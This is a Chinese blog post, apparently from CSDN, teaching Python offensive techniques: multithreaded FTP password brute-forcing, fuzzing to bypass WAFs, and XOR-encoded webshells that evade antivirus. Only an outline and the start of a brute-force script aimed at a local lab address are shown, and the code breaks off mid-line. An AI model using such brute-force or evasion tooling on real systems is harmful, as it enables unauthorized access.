Python安全开发——多线程Fuzz&Waf 异或免杀&爆破

该博客探讨了Python在安全开发中的应用,重点介绍了如何使用多线程技术进行协议爆破,结合Fuzz吊打WAF,并讲解了异或免杀技巧。通过FTP模块实现协议爆破脚本,同时利用异常处理确保脚本持续运行。此外,文章还展示了如何利用异或运算生成免杀Shell脚本,通过批量请求测试有效payload。
摘要由CSDN通过智能技术生成

1.概述:

知识点:
协议模块使用,Request 爬虫技术,简易多线程技术,编码技术,Bypass 后门技术

目的:
掌握利用强大的模块实现各种协议连接操作(爆破或利用等),配合 Fuzz 吊打 WAF 等
在这里插入图片描述

2.简单多线程技术、FTP 模块实现协议爆破脚本:

 queue,threading 模块使用、ftplib 模块使用:遍历用户及密码字典、尝试连接执行命令判断

ftp模块使用:https://www.cnblogs.com/xiao-apple36/p/9675185.html
https://www.cnblogs.com/j6-2/p/4645490.html

多线程详解:https://blog.csdn.net/briblue/article/details/85101144

拿本地搭建的ftp服务擦尝试简单登录:
在这里插入图片描述
设置爆破(循环遍历读取字典):
在这里插入图片描述
异常处理(因为登录错误会终止脚本,需要加上以持续执行)
在这里插入图片描述
提高速度,增加多线程:
在这里插入图片描述在这里插入图片描述
完整代码:

#coding:utf-8
#Author:小迪 QQ471656814
#Blog:http://www.xiaodi8.com
import ftplib
import threading
import queue
import sys

#利用Python开发其他协议爆破脚本
def ftp_check():
    while not q.empty():
        dict=q.get()
        dict=dict.split('|')
        username=dict[0]
        password=dict[1]
        ftp=ftplib.FTP()
        try:
            ftp.connect('192.168.0.101',
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值